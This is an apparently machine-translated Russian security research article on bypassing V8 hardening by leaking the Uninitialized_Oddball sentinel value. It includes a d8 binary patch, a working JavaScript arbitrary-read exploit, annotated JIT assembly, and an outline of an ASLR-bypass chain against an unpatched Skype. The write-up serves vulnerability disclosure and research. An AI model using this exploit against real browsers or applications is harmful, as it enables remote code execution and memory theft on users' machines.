Предисловие

Сторожевое значение (также известное как значение флага/значение отключения/мошенническое значение/значение сигнала/фиктивные данные) — это специальное значение, используемое в алгоритме, оно обычно используется в качестве специального значения для условий завершения в циклах или рекурсивных алгоритмах. В исходном коде хрома есть много значений Sentinel.

И от-утечки-дыры-к-хром-рендереру-rce, и Новый мир TheHole — как маленькая утечка потопит отличный браузер (CVE-2021–38003) описывали новый метод утечки объекта TheHole, что может привести к РЭ. И CVE-2021–38003, и CVE-2022–1364 доказали это.

После того, как мы описали mitigation bypass и обнародовали все детали. Неделю спустя Google также добавил два CVE в свой блог на GitHub. Хронологию можно увидеть здесь:

Здесь был исправлен объект TheHole, который мог приводить к выполнению произвольного кода. Мы можем проверить это в исходном коде хрома. Но, если честно, помимо объекта TheHole в v8 есть много других нативных объектов, которые не должны просачиваться в JavaScript. В этой статье мы поговорим об Uninitialized_Oddball.

Полный код javascript для обхода Harden Protect был раскрыт в Issue1352549. И это было написано участником Project0 Tiszka в его подвиге. Но что более важно, этот метод по-прежнему эффективен для последней версии V8, и Google еще не исправил его.

Из-за его эффективности и действенности мы должны посоветовать вам проверить и убедиться, что в вашем программном обеспечении нет patchGap.

01-выпуск 1216437 (CVE-2021–30551) был отправлен Глазуновым. Первый POC, обновленный им, был просто для утечки внутреннего неинициализированного чудака. Хотя второй POC был задан как путаница типов, в сочетании с этим методом только первый POC может легко завершить RCE;

02- В Issue1314616 (CVE-2022–1486) участник проекта 0 btiszka загрузил еще одну POC, которая также была прямой утечкой Uninitialized Oddball. Хотя в то время было неясно, как перейти от утечки UninitializedOddball к RCE, этого было достаточно, чтобы доказать серьезность безопасности. В выпуске 1314616 btiszka сделал следующее заявление:

«Примечания по эксплуатации: в настоящее время я не уверен, может ли этот примитив привести к чему-то большему, чем утечка информации. Эксплуатация не так проста, как…»

03- Выпуск 1352549 (NoCVE). Обратите внимание на влияние этого патча!

Мы считаем, что этих трех причин достаточно, чтобы убедить нас в том, что наше программное обеспечение невосприимчиво к любому chrome PatchGap. Я могу подтвердить, что Skype не устранил эту уязвимость (Issue1352549).

Сторожевое значение в V8

В исходном коде v8 есть несколько нативных объектов (v8/src/roots/roots.h). Эти объекты остаются вместе в памяти рядом друг с другом.

/* Oddballs */                                                      Offset   \
V(Oddball, uninitialized_value, UninitializedValue)                 0138     \
V(Oddball, the_hole_value, TheHoleValue)                            0148     \
V(Oddball, arguments_marker, ArgumentsMarker)                       0218     \
V(Oddball, exception, Exception)           %DebugPrint() crash      0220     \
V(Oddball, termination_exception, TerminationException)             0228     \
V(Oddball, optimized_out, OptimizedOut)                             0230     \
V(Oddball, stale_register, StaleRegister)                           0238     \

Как и в случае с объектом TheHole, мы не должны сливать эти объекты в javascript. Потому что, если срабатывает только уязвимость, выполнение произвольного кода может быть достигнуто путем утечки этих нативных объектов в Javascript. Утечка объекта TheHole в предыдущей статье доказала эту проблему. Мы должны повторить здесь, что этот метод смягчения не был исправлен в последней версии V8.

Чтобы проверить этот метод в последней версии V8, мы можем изменить нативную функцию версии 8, чтобы неинициализированный Oddball пропускался в JavaScript. Здесь мы напрямую изменяем относительное смещение изоляции (индекс) функции %TheHole(), чтобы возвращать неинициализированный Oddball. Найдите функцию Runtime_TheHole после декомпиляции кода и пропатчите ее:

v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate)
                push    rbp
                mov     rbp, rsp
                lea     rax, v8::internal::V8HeapCompressionScheme::base_
                mov     eax, [rax]
                test    eax, eax
                jnz     short loc_9B2ABA
                mov     rax, [isolate+148h]  ;;修改148h为138h
                pop     rbp
                retn

вызовите %DebugPrint(%TheHole()), то мы увидим следующий результат:

$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js
0x210400002371 <Odd Oddball: uninitialized>

Обход HardenType

Поскольку этот метод был опубликован в выпуске Issue1352549, мы просто извлечем и упростим примитивы чтения напрямую, как показано в следующем коде:

class Helpers {
    constructor() {
        this.buf = new ArrayBuffer(8);
        this.u64 = new BigUint64Array(this.buf);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        gc();
    }
    f2big(f) {
        this.f64[0] = f;
        return this.u64[0];
    }
    fhi(f) {
        this.f64[0] = f;
        return this.u32[1];
    }
    flow(f) {
        this.f64[0] = f;
        return this.u32[0];
    }
}
function UninitializedOddballExploiter(uninitialized_oddball) {
    var h = new Helpers();
    let arr = new Array(0x1000000);
    arr[0] = 1.1; arr.a = 1.1;
    let exp1 = { prop: uninitialized_oddball };
    let exp2 = { prop: { read_arr: arr } };
    let read = (object, index) => { return object.prop.read_arr[index]; };
    % PrepareFunctionForOptimization(read);
    read(exp2, 0);
    % OptimizeFunctionOnNextCall(read);
    const old_space = 0x200000;//0x200000
    let start_offset = Math.floor(old_space / 8) + 3;
    for (var i = start_offset; i < start_offset + 0x6b000; i++) {
        let real_offset = i - 2;
        let hi = read(exp1, real_offset);
        let lo = read(exp1, real_offset - 1);
        let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo)));
        console.log("result:" + result.toString(16));
        readline();
    }
}
UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch

Мы протестировали приведенный выше javascript в версии 8–11.0.0, и когда %TheHole() возвращает UninitializedOddball, относительно произвольные примитивы чтения по-прежнему эффективны.

./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js

Для оптимизированной функции чтения JavaScript удалите пролог и оставьте разборку ключа, как показано ниже:

0x558b20004069    29  488b4d18             REX.W movq rcx,[rbp+0x18] 
0x558b2000406d    2d  f6c101               testb rcx,0x1                    ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi'
0x558b20004070    30  0f842e020000         jz 0x558b200042a4  <+0x264>      ;; deopt reason 'Smi'
0x558b20004076    36  41b831cd1900         movl r8,0x19cd31                 ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)>
0x558b2000407c    3c  443941ff             cmpl [rcx-0x1],r8                ;; check the map(r8=0x19cd31 is the map of obj)
;; here we check the map of obj, but we did not check the value of key(ie.  obj.prop)
;; and if we make the value of key to be uninitialized_oddball, there is the bypass
0x558b20004080    40  0f8522020000         jnz 0x558b200042a8  <+0x268>     ;; deopt reason 'wrong map'
0x558b20004086    46  448b410b             movl r8,[rcx+0xb]                ;; *(addr(obj)+0xb) -> r8
0x558b2000408a    4a  478b44060b           movl r8,[r14+r8*1+0xb]           ;; r14 is high addr
0x558b2000408f    4f  4d03c6               REX.W addq r8,r14                ;; r8 -> [String] in ReadOnlySpace: #uninitialized
0x558b20004092    52  458b4807             movl r9,[r8+0x7]                 ;;
0x558b20004096    56  4d03ce               REX.W addq r9,r14                ;; r9 -> 0x2eb90000000d
0x558b20004099    59  458b400b             movl r8,[r8+0xb]                 ;; 
0x558b2000409d    5d  488b7d20             REX.W movq rdi,[rbp+0x20]        ;; rdi is index of arr, the 2nd arg of function
0x558b200040a1    61  40f6c701             testb rdi,0x1                    ;; check if rdi is 'Smi'
0x558b200040a5    65  0f85da000000         jnz 0x558b20004185  B5 <+0x145>  ;; if rdi is not 'Smi', JMP
0x558b200040ab    6b  4c63df               REX.W movsxlq r11,rdi            ;; 
0x558b200040ae    6e  49d1fb               REX.W sarq r11, 1                ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory
0x558b200040b1    71  4d63c0               REX.W movsxlq r8,r8
0x558b200040b4    74  49d1f8               REX.W sarq r8, 1
0x558b200040b7    77  4d3bd8               REX.W cmpq r11,r8                ;; r11 = 0x40002,real_offset as the index of arr
0x558b200040ba    7a  0f83ec010000         jnc 0x558b200042ac  <+0x26c>     ;; deopt reason 'out of bounds'
0x558b200040c0    80  c4817b1044d907       vmovsd xmm0,[r9+r11*8+0x7]       ;; move double float value to xmm0
0x558b200040c7    87  c5f92ec0             vucomisd xmm0,xmm0               ;; Compare float value and Set EFLAGS
0x558b200040cb    8b  0f8a88010000         jpe 0x558b20004259  B9 <+0x219>  ;; jpe(Jump if parity even)
0x558b200040d1    91  0f8582010000         jnz 0x558b20004259  B9 <+0x219>  ;; jnz(Jump if not zero)

В функции чтения javascript по адресу 0x558b2000407c был проверен первый аргумент с именем obj, чтобы убедиться, что свойство prop верно. Но вместо проверки значения obj.prop в качестве ключа смещение вычисляется непосредственно в соответствии с семантикой JavaScript для получения значения массива. Это приводит к путанице типов и произвольному чтению при выполнении вычислений.

Как показано в приведенной выше сборке, когда мы передаем uninitialized_oddball, расчет начинается с 0x558b20004086 с obj в качестве начальной точки и, наконец, завершает произвольное чтение в инструкции vmovsd xmm0,[r9+r11*8+0x7], а данные хранится в регистре xmm0. Как и в случае с объектом TheHole, из-за того, что uninitialized_oddball в памяти v8 отсортирован вперед, а содержимое объекта более примитивно, подделка упрощается, после исправления обхода смягчения TheHole этот метод не теряется в качестве первого выбора для обхода. Точно так же, произвольно написанный, мы можем обратиться к Issue1352549 для анализа конструкции. Поскольку принцип аналогичен, он больше не повторяется.

Здесь предложение по исправлению состоит в том, чтобы добавить проверку на карту массива, когда оптимизированная функция возвращает элементы массива, чтобы избежать прямого вычисления смещения для возврата значений массива.

Оповещение о патче

Когда мы говорим о chrome PatchGap, мы должны не только обращать внимание на старые уязвимости, найденные исследователями, но и проверять кластер Google. Потому что эти уязвимости, которые Google быстро и незаметно исправила, также могут быть использованы.

После нашего анализа Issue1352549 мы быстро проверили некоторое программное обеспечение, которое не исправило PatchGaps с отношением обхода uninitialized_oddball, и мы проверили, что Skype до сих пор не устранил эту уязвимость. Произвольные чтения и записи немного отличаются в скайпе. Поскольку арка скайпа x86, то нам не нужно учитывать в ней сжатие указателя. Таким образом, мы можем получить абсолютные примитивы для чтения и записи напрямую.

Но когда мы пишем эксплойты на x64, из-за сжатия Pointer, v8 по умолчанию добавит базовый адрес. Просто проверьте следующий ассемблерный код, оптимизированный Tuberfun, и у нас будет четкое понимание:

0x3979b8ff    3f  8b790b       mov edi,[ecx+0xb]
0x3979b902    42  8b7f0b       mov edi,[edi+0xb]
0x3979b905    45  8b4707       mov eax,[edi+0x7]                ;; eax will be a fixed number
0x3979b908    48  8b7f0b       mov edi,[edi+0xb]
0x3979b90b    4b  8b5510       mov edx,[ebp+0x10]
0x3979b90e    4e  f6c201       test_b dl,0x1
0x3979b911    51  0f85b6000000 jnz 0x3979b9cd  <+0x10d>
0x3979b917    57  89d6         mov esi,edx
0x3979b919    59  d1fe         sar esi,1                        ;; esi is index
0x3979b91b    5b  d1ff         sar edi,1                        ;; 0x3734b73a
0x3979b91d    5d  3bf7         cmp esi,edi
0x3979b91f    5f  0f838e010000 jnc 0x3979bab3  <+0x1f3>         ;; deopt reason 'out of bounds'
0x3979b925    65  c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;; 

Как показано выше, esi — это индекс произвольного массива чтения. Eax — фиксированное значение, а edi — максимальное значение, используемое для обнаружения выхода за границы.

Поэтому в пределах диапазона edi можно читать и писать как угодно. Когда мы пишем эксплойт для Skype, мы не можем пользоваться удобством сжатия указателей, когда мы переходим к чтению и записи памяти. И aslr включен в скайпе. Но поскольку файл слишком велик, чтобы жить в 4 ГБ памяти, хакерам нужно только прочитать фиксированный адрес и отправить содержимое на сервер, а затем взаимодействовать с сервером путем анализа PE, существует высокая вероятность обхода aslr.

В сочетании с традиционными идеями, такими как парсинг PE, несложно завершить всю полную цепочку этой уязвимости. Поскольку в Skype нет песочницы, если мы установим его, загрузив его с сайта Microsoft и установив напрямую, мы не можем сомневаться в том, что хакеры могли завершить всю цепочку эксплойтов.

PatchGap, созданный Issue1352549, на самом деле оставляет нам больше работы, чем проверка Issue1352549. Из-за опубликованного нового метода обхода Typer некоторые проблемы, такие как 1314616 и 1216437, легче использовать. Хакерам не нужно тратить слишком много усилий для достижения RCE, если есть только утечка uninitialized_oddball, включая все подобные уязвимости, выданные Google cluster fuzz.

Краткое содержание

В этой статье мы просто проведем грубый анализ реализации примитивов произвольного чтения путем утечки файла uninitialized_Oddball. Как показано в Части II, в v8 значений Sentinel намного больше, и, если честно, происходит много сбоев, если мы заменяем обычные объекты значениями Sentinel, в том числе и сбои, отличные от int3. Поскольку Uninitialized_Oddball и TheHole доказали способность Harden Bypass в v8, нет никаких сомнений в том, что другие значения Sentinel также могут вызывать аналогичные проблемы.

Это также дает нам подсказку, что:

1 — Будут ли другие утечки uninitialized_Oddball легко реализовывать RCE в v8.

2 — Мы видели, что Google быстро отключит обход TheHole, чтобы исправить это, и мы видели, что использование сборки мусора для реализации обхода ASLR было приостановлено в течение длительного времени. Это говорит о том, что подобные проблемы все еще находятся на нечеткой границе относительно того, считаются ли они официально проблемами безопасности.

3 — Если проблема в 02 рассматривается как формальная проблема безопасности, необходимо ли рассмотреть возможность добавления значений Sentinel, таких как %TheHole/uninitialized_Oddball, в качестве переменных в фаззер для майнинга других простых эксплойтов?

Здесь следует подчеркнуть, что независимо от того, рассматривается ли класс формально как проблема безопасности или нет, он значительно уменьшит реализацию хакером полного цикла эксплойта.

Рекомендации

https://bugs.chromium.org/p/chromium/issues/detail?id=1314616

https://bugs.chromium.org/p/chromium/issues/detail?id=1352549

https://bugs.chromium.org/p/chromium/issues/detail?id=1216437

https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/

Numen Cyber ​​Labs стремится содействовать безопасной разработке Web3.0. Мы занимаемся безопасностью экосистемы блокчейна, а также безопасностью операционных систем и браузеров/мобильных устройств. Мы регулярно публикуем аналитические материалы по таким темам, следите за новостями!